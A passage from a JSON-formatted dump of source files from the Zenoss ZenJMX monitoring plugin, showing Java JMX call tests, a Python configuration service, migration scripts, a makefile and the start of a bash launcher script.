javax.management.MBeanServerFactory;\\nimport javax.management.MalformedObjectNameException;\\nimport javax.management.ObjectName;\\nimport javax.management.remote.JMXConnectorServer;\\nimport javax.management.remote.JMXConnectorServerFactory;\\nimport javax.management.remote.JMXServiceURL;\\n\\n\\n/**\\n * <p>\\n * Tests the methods in the OperationAttributeCall class. Don't feel reassured\\n * though - the extensiveness of the test is lacking...\\n * </p>\\n * \\n * <p>\\n * $Author: chris $\\n * </p>\\n * \\n * @author Christopher Blunck\\n * @version $Revision: 1.6 $\\n */\\npublic class OperationCallTest\\n extends TestCase {\\n\\n // the configuration for the call\\n private static final String URL = \\n \\\"service:jmx:rmi:///jndi/rmi://localhost:9999/server\\\";\\n private static final boolean AUTHENTICATE = true;\\n private static final String USERNAME = \\\"username\\\";\\n private static final String PASSWORD = \\\"password\\\";\\n private static final String OBJECT_NAME = \\\"mbean\\\";\\n private static final String ATTR_NAME = \\\"attribute\\\";\\n private static final String ATTR_TYPE = \\\"attribute type\\\";\\n private static Object[] PARAM_VALUES;\\n private static String[] PARAM_TYPES;\\n private static List<String> KEYS;\\n private static List<String> TYPES;\\n // the calls we will test\\n \\n private static OperationCall _call1;\\n private static OperationCall _call2;\\n\\n \\n private static ObjectName mbeanObjectName;\\n private static JMXConnectorServer JMXServer = null;\\n // staticly initialize the arrays and lists we will pass to the calls\\n static {\\n PARAM_VALUES = new Object[] {\\n \\\"param1\\\", \\\"param2\\\"\\n };\\n\\n PARAM_TYPES = new String[] {\\n \\\"java.lang.String\\\", \\\"java.lang.String\\\"\\n };\\n\\n KEYS = new ArrayList<String>();\\n KEYS.add(\\\"key1\\\");\\n KEYS.add(\\\"key2\\\");\\n\\n TYPES = new ArrayList<String>();\\n TYPES.add(\\\"java.lang.String\\\");\\n TYPES.add(\\\"java.lang.Double\\\");\\n }\\n\\n\\n /**\\n * Constructs a test that invokes a specific test method\\n */\\n public OperationCallTest(String method) {\\n super(method);\\n }\\n\\n\\n /**\\n * Called before each method is invoked. Sets up the two call objects we\\n * will use.\\n */\\n public void setUp() throws Exception{ \\n// _call1 = \\n// new OperationCall(URL, AUTHENTICATE, \\n// USERNAME, PASSWORD, \\n// OBJECT_NAME, ATTR_NAME,\\n// PARAM_VALUES,\\n// PARAM_TYPES,\\n// KEYS, TYPES);\\n//\\n// _call2 = \\n// new OperationCall(URL, AUTHENTICATE, \\n// USERNAME, PASSWORD, \\n// OBJECT_NAME, ATTR_NAME,\\n// PARAM_VALUES,\\n// PARAM_TYPES,\\n// KEYS, TYPES);\\n// MBeanServer mbs = MBeanServerFactory.createMBeanServer();\\n// registerMbean(mbs);\\n// startMBeanServer(mbs);\\n }\\n\\n \\n private static void startMBeanServer(MBeanServer mbs)throws Exception{\\n JMXServiceURL url = new JMXServiceURL(\\n \\\"service:jmx:rmi:///jndi/rmi://localhost:9999/server\\\");\\n // Need to start an RMI registry for this to work\\n // eg. \\\"rmiresgistry 9999 &\\\"\\n JMXServer =\\n JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs);\\n\\n JMXServer.start();\\n }\\n \\n \\n private static void registerMbean(MBeanServer mbs) throws Exception{\\n \\n \\n// // Get default domain\\n// //\\n// String domain = mbs.getDefaultDomain();\\n//\\n// // Create and register the SimpleStandard MBean\\n// //\\n// String mbeanClassName = ZenJMXTest.class.getName();\\n// String mbeanObjectNameStr =\\n// domain + \\\":type=\\\" + mbeanClassName + \\\",index=1\\\";\\n// createSimpleMBean(mbs, mbeanClassName, mbeanObjectNameStr);\\n \\n }\\n\\n private static void createSimpleMBean(MBeanServer mbs, \\n String mbeanClassName, String mbeanObjectNameStr) throws Exception {\\n \\n mbeanObjectName = \\n ObjectName.getInstance(mbeanObjectNameStr);\\n mbs.createMBean(mbeanClassName, mbeanObjectName);\\n \\n }\\n /**\\n * Called after each method finishes execution\\n */\\n public void tearDown() throws Exception { \\n// _call1 = null;\\n// _call2 = null;\\n// if(JMXServer != null){\\n// JMXServer.stop();\\n// }\\n// JMXServer = null;\\n }\\n\\n\\n /**\\n * Defines the list of test methods to run. By default we'll run 'em all.\\n */\\n public static Test suite() {\\n TestSuite suite = new TestSuite(OperationCallTest.class);\\n return suite;\\n }\\n\\n \\n /**\\n * Runs all the tests via the command line.\\n */\\n public static void main(String[] args) {\\n TestRunner.run(OperationCallTest.class);\\n }\\n\\n\\n /*\\n * TEST METHODS BEGIN HERE\\n */\\n\\n /**\\n * Tests the hashCode() method\\n */\\n public void testHashCode() {\\n// assertEquals(_call1.hashCode(), _call2.hashCode());\\n }\\n\\n\\n /**\\n * Tests the equals() method\\n */\\n public void testEquals() {\\n// assertTrue(_call1.equals(_call2));\\n }\\n \\n public void testOperationStringResult() throws Exception\\n {\\n// List<String> keyList = new ArrayList<String>();\\n// keyList.add(\\\"key\\\");\\n// List<String> typeList = new ArrayList<String>();\\n// typeList.add(\\\"type\\\");\\n// List<String>emptyList = Collections.emptyList(); \\n// \\n// OperationCall call = \\n// new OperationCall(URL, \\n// false,\\\"\\\", \\\"\\\", \\n// mbeanObjectName.getCanonicalName(),\\n// \\\"operationStringResult\\\",\\n// new Object[0],\\n// new String[0],\\n// keyList,typeList);\\n// call.call();\\n// assertEquals(\\\"operationStringResult\\\", ZenJMXTest.lastCall);\\n// Object[] lastArgs = ZenJMXTest.lastArgs;\\n// assertTrue(Arrays.equals(new Object[0], ZenJMXTest.lastArgs));\\n// assertEquals(\\\"blam\\\", ZenJMXTest.lastReturn);\\n\\n }\\n public void testOperationStrinResultAndStringArg() throws Exception\\n {\\n// List<String> keyList = new ArrayList<String>();\\n// keyList.add(\\\"key\\\");\\n// List<String> typeList = new ArrayList<String>();\\n// typeList.add(\\\"type\\\");\\n// Object[] args = new Object[]{\\\"myArg\\\"};\\n// OperationCall call = getCall(\\\"operationStrinResultAndStringArg\\\", \\\"myArg\\\",\\n// \\\"java.lang.String\\\");\\n// new OperationCall(URL, \\n// false,\\\"\\\", \\\"\\\", \\n// mbeanObjectName.getCanonicalName(),\\n// \\\"operationStrinResultAndStringArg\\\",\\n// args,\\n// new String[]{\\\"java.lang.String\\\"},\\n// keyList,typeList);\\n// call.call();\\n// assertEquals(\\\"operationStrinResultAndStringArg\\\", ZenJMXTest.lastCall);\\n// assertTrue(Arrays.equals(args, ZenJMXTest.lastArgs));\\n// assertEquals(\\\"myArg\\\", ZenJMXTest.lastReturn);\\n\\n }\\n \\n public void testOperationStringArgs() throws Exception\\n {\\n// List<String> keyList = new ArrayList<String>();\\n// keyList.add(\\\"key\\\");\\n// List<String> typeList = new ArrayList<String>();\\n// typeList.add(\\\"type\\\");\\n// Object[] args = new Object[]{\\\"myArg0\\\", \\\"myArg1\\\"};\\n// OperationCall call = getCall(\\\"operationStringArgs\\\", \\\"myArg0, myArg1\\\",\\n// \\\"java.lang.String, java.lang.String\\\");\\n// call.call();\\n// assertEquals(\\\"operationStringArgs\\\", ZenJMXTest.lastCall);\\n// assertTrue(Arrays.equals(args, ZenJMXTest.lastArgs));\\n// assertEquals(\\\"myArg0myArg1\\\", ZenJMXTest.lastReturn);\\n\\n }\\n \\n public void testOperationIntResultAnIntArg() throws Exception\\n {\\n// List<String> keyList = new ArrayList<String>();\\n// keyList.add(\\\"key\\\");\\n// List<String> typeList = new ArrayList<String>();\\n// typeList.add(\\\"type\\\");\\n// int arg = 1;\\n// OperationCall call = getCall(\\\"operationIntResultAnIntArg\\\", \\\"1\\\", \\\"int\\\");\\n// call.call();\\n// assertEquals(\\\"operationIntResultAnIntArg\\\", ZenJMXTest.lastCall);\\n// assertTrue(Arrays.equals(new Object[]{arg}, ZenJMXTest.lastArgs));\\n// assertEquals(arg, ZenJMXTest.lastReturn);\\n\\n }\\n \\n \\n// public OperationCall getCall(String operation,String args, String types) throws Exception\\n// {\\n//// Map config = new HashMap();\\n//// \\n//// config.put(\\\"jmxPort\\\", \\\"9999\\\");\\n//// config.put(\\\"rmiContext\\\", \\\"server\\\");\\n//// config.put(\\\"jmxProtocol\\\",\\\"RMI\\\");\\n//// config.put(\\\"manageIp\\\", \\\"localhost\\\");\\n//// config.put(JmxCall.AUTHENTICATE,Boolean.FALSE);\\n//// config.put(OperationCall.OPERATION_PARAM_TYPES, types);\\n//// config.put(OperationCall.OPERATION_PARAM_VALUES, args);\\n//// config.put(CallFactory.DATA_POINT, new Object[]{\\\"myDataPoint\\\"});\\n//// config.put(JmxCall.TYPES, new Object[]{\\\"rrdType\\\"});\\n//// config.put(JmxCall.OBJECT_NAME, mbeanObjectName.getCanonicalName());\\n//// config.put(OperationCall.OPERATION_NAME, operation);\\n//// OperationCall call = OperationCall.fromValue(config);\\n//// return call;\\n// }\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.6015329957008362,\n \"alphanum_fraction\": 0.6041273474693298,\n \"avg_line_length\": 35.085105895996094,\n \"blob_id\": \"a7c923f0f4672e8d015c01800251df1cf7b6b232\",\n \"content_id\": \"9d87ebe416a7b327662ca8887c04f079ab81dcfb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 8480,\n \"license_type\": \"no_license\",\n \"max_line_length\": 111,\n \"num_lines\": 235,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/services/ZenJMXConfigService.py\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2008, 2009 Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 or (at your\\n# option) any later version as published by the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\nimport md5\\n\\nimport Globals\\nimport logging\\nfrom Products.ZenHub.services.PerformanceConfig import PerformanceConfig\\nfrom Products.ZenUtils.ZenTales import talesEval\\nfrom Products.ZenEvents.Exceptions import pythonThresholdException\\nfrom Products.ZenEvents.ZenEventClasses import Error, Clear\\nfrom Products.ZenCollector.services.config import CollectorConfigService\\n\\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\\n\\nfrom twisted.spread import pb\\nlog = logging.getLogger( \\\"zen.zenjmxconfigservices\\\" )\\nclass RRDConfig(pb.Copyable, pb.RemoteCopy):\\n \\\"\\\"\\\"\\n RRD configuration for a datapoint.\\n Contains the create command and the min and max \\n values for a datapoint\\n \\\"\\\"\\\"\\n def __init__(self, dp):\\n self.dpName = dp.name()\\n self.command = dp.createCmd\\n self.dataPointId = dp.id\\n self.min = dp.rrdmin\\n self.max = dp.rrdmax\\n self.rrdType = dp.rrdtype\\n\\npb.setUnjellyableForClass(RRDConfig, RRDConfig)\\n \\n\\nclass JMXDeviceConfig(pb.Copyable, pb.RemoteCopy):\\n \\\"\\\"\\\"\\n Represents the configuration for a device.\\n Contains a list of JMXDataSourceConfig objects\\n \\\"\\\"\\\"\\n \\n def __init__(self, device):\\n self.id = device.id\\n self.configId = device.id\\n #map of jmxserverkey to JMXDataSourceConfig list\\n self.jmxDataSourceConfigs = {}\\n self.manageIp = device.manageIp\\n self.thresholds = []\\n\\n # Default interval is 5 minutes.\\n # This may be replaced with per datasource\\n # intervals at some point. For now, this\\n # will be ignored at the collector.\\n self.configCycleInterval = 5 * 60\\n \\n def findDataSource(self, dataSourceId):\\n for subList in self.jmxDataSourceConfigs.values():\\n for dsConfig in subList:\\n if(dsConfig.datasourceId == dataSourceId):\\n return dsConfig\\n return None\\n \\n def add(self, jmxDataSourceConfig):\\n \\\"\\\"\\\"\\n add a JMXDataSourceConfig to the device configuration\\n \\\"\\\"\\\"\\n key = jmxDataSourceConfig.getJMXServerKey()\\n configs = self.jmxDataSourceConfigs.get(key)\\n if(not configs):\\n configs = []\\n self.jmxDataSourceConfigs[key] = configs\\n configs.append(jmxDataSourceConfig)\\n \\npb.setUnjellyableForClass(JMXDeviceConfig, JMXDeviceConfig)\\n\\n\\nclass JMXDataSourceConfig(pb.Copyable, pb.RemoteCopy):\\n \\\"\\\"\\\"\\n Represents a JMX datasource configuration on a device. \\n \\\"\\\"\\\"\\n\\n def __init__(self, device, component, template, datasource):\\n self.device = device.id\\n self.manageIp = device.manageIp\\n self.datasourceId = datasource.id\\n if component is None:\\n self.component = datasource.getComponent(device)\\n self.rrdPath = device.rrdPath()\\n self.copyProperties(device, datasource)\\n else:\\n self.component = datasource.getComponent(component)\\n self.rrdPath = component.rrdPath()\\n self.copyProperties(component, datasource)\\n\\n #dictionary of datapoint name to RRDConfig\\n self.rrdConfig = {}\\n for dp in datasource.datapoints():\\n self.rrdConfig[dp.id] = RRDConfig(dp)\\n\\n\\n def copyProperties(self, device, ds):\\n \\\"\\\"\\\"\\n copy the properties from the datasouce and set them\\n as attributes\\n \\\"\\\"\\\"\\n for propName in [prop['id'] for prop in ds._properties]:\\n value = getattr(ds, propName)\\n if str(value).find('$') >= 0:\\n value = talesEval('string:%s' % (value,), device)\\n if propName == 'authenticate':\\n if value:\\n value = str(value).lower().capitalize()\\n value = bool(value)\\n setattr(self, propName, value)\\n\\n\\n def key(self):\\n return self.device, self.datasourceId\\n\\n def getJMXServerKey(self):\\n \\\"\\\"\\\"\\n string which represents the jmx server and connection props. \\n Can be compared to determine if datasources configurations point to the\\n same jmx server\\n \\\"\\\"\\\"\\n return self.device + self.manageIp + self.getConnectionPropsKey()\\n \\n def getConnectionPropsKey(self):\\n \\\"\\\"\\\"\\n string key which represents the connection properties that make up \\n the connection properties for the datasource. \\n \\\"\\\"\\\"\\n # raw service URL is being used\\n if self.jmxRawService:\\n return self.jmxRawService\\n\\n components = [self.jmxProtocol]\\n if self.jmxProtocol == \\\"RMI\\\":\\n components.append(self.rmiContext)\\n components.append(str(self.jmxPort))\\n if (self.authenticate):\\n creds = self.username + self.password\\n components.append( md5.new(creds).hexdigest() );\\n \\n return \\\":\\\".join(components)\\n \\n def update(self, value):\\n self.__dict__.update(value.__dict__)\\n\\npb.setUnjellyableForClass(JMXDataSourceConfig, JMXDataSourceConfig)\\n\\n\\nclass ZenJMXConfigService(CollectorConfigService):\\n \\\"\\\"\\\"ZenHub service for getting ZenJMX configurations \\n from the object database\\\"\\\"\\\"\\n def __init__(self, dmd, instance):\\n attributes = ()\\n CollectorConfigService.__init__(self,\\n dmd,\\n instance,\\n attributes)\\n self._ds_errors = {}\\n\\n\\n def _get_ds_conf(self, device, component, template, ds):\\n component_id = None if (component is None) else component.id\\n ds_error_key = (device.id, component_id, template.id, ds.id)\\n ds_conf = None\\n\\n try:\\n ds_conf = JMXDataSourceConfig(device, component, template, ds)\\n evt = self._ds_errors.pop(ds_error_key, None)\\n if evt is not None:\\n evt[\\\"severity\\\"] = Clear\\n self.sendEvent(evt)\\n\\n except Exception, e:\\n fmt = \\\"Evaluation of data source '{0.id}' in template '{1.id}' failed: {2.__class__.__name__}: {2}\\\"\\n summary = fmt.format(ds, template, e)\\n evt = dict(severity=Error,\\n device=device.id,\\n eventClass=\\\"/Status/JMX\\\",\\n summary=summary)\\n msg = summary + \\\" device={0.id}\\\".format(device)\\n evt[\\\"component\\\"] = component_id\\n msg += \\\", component={0}\\\".format(component_id)\\n self.sendEvent(evt)\\n self._ds_errors[ds_error_key] = evt\\n self.log.error(msg)\\n\\n return ds_conf\\n\\n\\n def _createDeviceProxy(self, device):\\n deviceConfig = JMXDeviceConfig(device)\\n deviceConfig.thresholds += device.getThresholdInstances(\\n JMXDataSource.sourcetype)\\n\\n for template in device.getRRDTemplates():\\n for ds in self._getDataSourcesFromTemplate(template):\\n ds_conf = self._get_ds_conf(device, None, template, ds)\\n if ds_conf is not None:\\n deviceConfig.add(ds_conf)\\n\\n for component in device.getMonitoredComponents():\\n deviceConfig.thresholds += component.getThresholdInstances(\\n JMXDataSource.sourcetype)\\n\\n for template in component.getRRDTemplates():\\n for ds in self._getDataSourcesFromTemplate(template):\\n ds_conf = JMXDataSourceConfig(device, component, template, ds)\\n if ds_conf is not None:\\n deviceConfig.add(ds_conf)\\n\\n # Don't both returning a proxy if there are no datasources.\\n if not len(deviceConfig.jmxDataSourceConfigs.keys()):\\n return None\\n\\n return deviceConfig\\n\\n def _getDataSourcesFromTemplate(self, template):\\n datasources = []\\n for ds in template.getRRDDataSources('JMX'):\\n if not ds.enabled: continue\\n datasources.append(ds)\\n\\n return datasources\\n\"\n },\n {\n \"alpha_fraction\": 0.6416906714439392,\n \"alphanum_fraction\": 0.6493756175041199,\n \"avg_line_length\": 34.89655303955078,\n \"blob_id\": \"3b67c4b3eb44a8a1d4ec35b6bbbf5f20c9eb9452\",\n \"content_id\": \"ee11dc16169104f7e6a17e9964bec97ad7fb7aea\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1041,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 29,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/migrate/MigratePassword.py\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2009, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 or (at your\\n# option) any later version as published by the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\n\\nimport logging\\nlog = logging.getLogger(\\\"zen.migrate\\\")\\n\\nimport Globals\\nfrom Products.ZenModel.migrate.Migrate import Version\\nfrom Products.ZenModel.ZenPack import ZenPackMigration\\nfrom Products.ZenModel.migrate.MigrateUtils import migratePropertyType\\n\\nclass MigratePassword(ZenPackMigration):\\n version = Version(3, 3, 0)\\n\\n def migrate(self, dmd):\\n log.info(\\\"Migrating zJmxPassword\\\")\\n migratePropertyType(\\\"zJmxPassword\\\", dmd, \\\"string\\\")\\n \\nMigratePassword()\\n\"\n },\n {\n \"alpha_fraction\": 0.5871644616127014,\n \"alphanum_fraction\": 0.5896328091621399,\n \"avg_line_length\": 39.5,\n \"blob_id\": \"832497a495b67664528c0d34e74bcc8e5527f8aa\",\n \"content_id\": \"86d74f35275cf84dbd3e3372b6dd474357ab18b3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3241,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 80,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/migrate/UpdateZenJMXTemplates.py\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2008, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 or (at your\\n# option) any later version as published by the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\n\\nimport Globals\\nfrom Products.ZenModel.migrate.Migrate import Version\\nfrom Products.ZenModel.ZenPack import ZenPack, ZenPackMigration\\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\\nimport logging\\nlog = logging.getLogger(\\\"zen\\\")\\n\\nclass UpdateZenJMXTemplates(ZenPackMigration):\\n version = Version(3, 1, 2)\\n \\n def migrate(self, pack): \\n log.debug(\\\"UpdateZenJMXTemplates migrate\\\")\\n zenJMXTemplate = pack.dmd.Devices.rrdTemplates.ZenJMX\\n #delete old datasources\\n def deleteDataSource(dsId):\\n \\n log.debug(\\\"deleteDataSource for %s\\\", dsId)\\n ds = None\\n try:\\n log.debug(\\\"looking up datasource\\\")\\n ds = zenJMXTemplate.datasources._getOb(dsId)\\n log.debug(\\\"found datasource\\\")\\n except AttributeError:\\n log.debug(\\\"error looking up datasource\\\")\\n log.debug(\\\"%s datasource does not exist\\\", dsId)\\n return\\n pack.manage_deletePackable([ds.getPrimaryUrlPath()])\\n zenJMXTemplate.manage_deleteRRDDataSources([dsId])\\n \\n\\n deleteDataSource('Non-Heap Memory')\\n deleteDataSource('Heap Memory')\\n deleteDataSource('Open File Descriptors')\\n deleteDataSource('Thread Count')\\n \\n #remote graph datapoints that were in the deleted datasources \\n def deleteGraphPoint(graphId, dpId):\\n log.debug(\\\"deleteGraphPoint for %s\\\", dpId)\\n graph = None\\n try:\\n graph = zenJMXTemplate.graphDefs._getOb(graphId)\\n except AttributeError:\\n log.debug(\\\"%s graph def does not exist\\\", graphId)\\n return\\n \\n gp = None\\n try:\\n gp = graph.graphPoints._getOb(dpId)\\n except AttributeError:\\n log.debug(\\\"%s graph point does not exist on graph %s\\\", \\n dpId, graphId)\\n return\\n pack.manage_deletePackable([gp.getPrimaryUrlPath()])\\n graph.manage_deleteGraphPoints([dpId]) \\n \\n deleteGraphPoint('ZenJMX Non-Heap Memory','Non-Heap Memory_committed')\\n \\n deleteGraphPoint('ZenJMX Non-Heap Memory','Non-Heap Memory_used')\\n \\n deleteGraphPoint('ZenJMX Heap Memory','Heap Memory_used')\\n \\n deleteGraphPoint('ZenJMX Heap Memory','Heap Memory_committed')\\n \\n deleteGraphPoint('ZenJMX Open File Descriptors',\\n 'Open File Descriptors_OpenFileDescriptorCount')\\n \\n deleteGraphPoint('ZenJMX Thread Count','Thread Count_ThreadCount')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5977859497070312,\n \"alphanum_fraction\": 0.605449914932251,\n \"avg_line_length\": 24.90441131591797,\n \"blob_id\": \"d9bdc56c786dedbf2718e8a65472a9f2f2c79d39\",\n \"content_id\": \"53d4fc371fdd62b0b1a2381cd74b96051656d2de\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 3523,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 136,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/src/test/java/com/zenoss/zenpacks/zenjmx/call/MultiValueAttributeCallTest.java\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"///////////////////////////////////////////////////////////////////////////\\n//\\n//Copyright 2008 Zenoss Inc \\n//Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); \\n//you may not use this file except in compliance with the License. \\n//You may obtain a copy of the License at \\n// http://www.apache.org/licenses/LICENSE-2.0 \\n//Unless required by applicable law or agreed to in writing, software \\n//distributed under the License is distributed on an \\\"AS IS\\\" BASIS, \\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \\n//See the License for the specific language governing permissions and \\n//limitations under the License.\\n//\\n///////////////////////////////////////////////////////////////////////////\\npackage com.zenoss.zenpacks.zenjmx.call;\\n\\nimport junit.framework.*;\\nimport junit.textui.TestRunner;\\n\\nimport java.util.List;\\nimport java.util.ArrayList;\\n\\n\\n/**\\n * <p> Tests the methods in the MultiValueAttributeCall class. Don't\\n * feel reassured though - the extensiveness of the test is\\n * lacking... </p>\\n *\\n * <p>$Author: chris $</p>\\n *\\n * @author Christopher Blunck\\n * @version $Revision: 1.6 $\\n */\\npublic class MultiValueAttributeCallTest\\n extends TestCase {\\n\\n // the configuration for the call\\n private static final String URL = \\n \\\"service:jmx:jmxrmi://localhost:12345/mbean\\\";\\n private static final boolean AUTHENTICATE = true;\\n private static final String USERNAME = \\\"username\\\";\\n private static final String PASSWORD = \\\"password\\\";\\n private static final String OBJECT_NAME = \\\"mbean\\\";\\n private static final String ATTR_NAME = \\\"attribute\\\";\\n private static final String ATTR_TYPE = \\\"attribute type\\\";\\n\\n private static List<String> KEYS;\\n private static List<String> TYPES;\\n\\n private AttributeCall _call1;\\n private AttributeCall _call2;\\n\\n\\n static {\\n KEYS = new ArrayList<String>();\\n KEYS.add(\\\"key1\\\");\\n KEYS.add(\\\"key2\\\");\\n \\n TYPES = new ArrayList<String>();\\n TYPES.add(\\\"java.lang.String\\\");\\n TYPES.add(\\\"java.lang.Double\\\");\\n }\\n\\n\\n /**\\n * Constructs a test that invokes a specific test method\\n */\\n public MultiValueAttributeCallTest(String method) {\\n super(method);\\n }\\n\\n\\n /**\\n * Called before each method is invoked\\n */\\n public void setUp() { \\n// _call1 = \\n// new MultiValueAttributeCall(URL, AUTHENTICATE, \\n// USERNAME, PASSWORD, \\n// OBJECT_NAME, ATTR_NAME,\\n// KEYS, TYPES);\\n//\\n// _call2 = \\n// new MultiValueAttributeCall(URL, AUTHENTICATE, \\n// USERNAME, PASSWORD, \\n// OBJECT_NAME, ATTR_NAME,\\n// KEYS, TYPES);\\n }\\n\\n\\n /**\\n * Called after each method finishes execution\\n */\\n public void tearDown() { \\n _call1 = null;\\n _call2 = null;\\n }\\n\\n\\n /**\\n * Defines the list of test methods to run. By default we'll run\\n * 'em all.\\n */\\n public static Test suite() {\\n TestSuite suite = new TestSuite(MultiValueAttributeCallTest.class);\\n return suite;\\n }\\n\\n \\n /**\\n * Runs all the tests via the command line.\\n */\\n public static void main(String[] args) {\\n TestRunner.run(MultiValueAttributeCallTest.class);\\n }\\n\\n\\n /*\\n * TEST METHODS BEGIN HERE\\n */\\n\\n /**\\n * Tests the hashCode() method\\n */\\n public void testHashCode() {\\n// assertEquals(_call1.hashCode(), _call2.hashCode());\\n }\\n\\n\\n /**\\n * Tests the equals() method\\n */\\n public void testEquals() {\\n// assertTrue(_call1.equals(_call2));\\n }\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.5877957940101624,\n \"alphanum_fraction\": 0.5940223932266235,\n \"avg_line_length\": 24.935483932495117,\n \"blob_id\": \"44055713843e43bacd93cf436465a7c6ba82b4e6\",\n \"content_id\": \"bd1a12d8f48fd435102ffd1e76bfb960b1c7fd1f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Makefile\",\n \"length_bytes\": 803,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 31,\n \"path\": \"/GNUmakefile\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2007, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 as published by\\n# the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\n\\n\\ndefault: egg\\n\\n\\negg:\\n # setup.py will call 'make build' before creating the egg\\n\\tpython setup.py bdist_egg\\n\\n\\nbuild:\\n\\tcd ZenPacks/zenoss/ZenJMX; make install\\n\\n\\nclean:\\n\\trm -rf build dist temp\\n\\trm -rf *.egg-info\\n\\tfind . -name *.pyc | xargs rm\\n\\tcd ZenPacks/zenoss/ZenJMX; make clean\"\n },\n {\n \"alpha_fraction\": 0.6098807454109192,\n \"alphanum_fraction\": 0.6195343732833862,\n \"avg_line_length\": 27.868852615356445,\n \"blob_id\": \"16b8b3146ad9ddacaf17bc352d5133408183a05f\",\n \"content_id\": \"7391fc3119480f0de967b498d356fd3df74f4bf3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 1761,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 61,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/bin/zenjmxjava\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#! /usr/bin/env bash\\n###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2007, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 as published by\\n# the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\n\\nMYPATH=`python -c \\\"import os.path; print os.path.realpath('$0')\\\"`\\nTHISDIR=`dirname $MYPATH`\\nPRGHOME=`dirname $THISDIR`\\nPRGNAME=zenjmxjava\\n\\n\\nZENJMX_HOME=${PRGHOME}\\nLIB_DIR=${ZENJMX_HOME}/lib\\n\\nCFGFILE=${ZENHOME}/etc/zenjmx.conf\\nif [ ! -f ${CFGFILE} ]; then\\n cp ${LIB_DIR}/zenjmx.conf ${CFGFILE}\\nfi\\n\\nMONITOR=`awk '/^monitor/ { print $2; }' ${CFGFILE}`\\nif [ -z \\\"${MONITOR}\\\" ]; then\\n MONITOR=\\\"localhost\\\"\\nfi\\n\\nPIDFILE=${ZENHOME}/var/zenjmxjava-${MONITOR}.pid\\n\\nCMD=$1\\nshift\\n\\n. ${ZENJMX_HOME}/bin/java-functions.sh\\n\\nLOGPATH=`awk '/^logpath/ { print $2; }' ${CFGFILE}`\\nif [ -z \\\"${LOGPATH}\\\" ]; then\\n LOGPATH=\\\"${ZENHOME}/log\\\"\\nfi\\n\\ncd ${LIB_DIR}\\nLOG4J_PROPS=`find ${LIB_DIR} -name log4j.properties`\\nsed -e \\\"s@\\\\(LOGFILE.File=\\\\).*@\\\\1${LOGPATH}/zenjmx.log@\\\" ${LOG4J_PROPS} \\\\\\n > ${LOG4J_PROPS}.new && \\\\\\n mv ${LOG4J_PROPS}.new ${LOG4J_PROPS}\\n\\n# these variables must be set (this includes CLASSPATH, which is 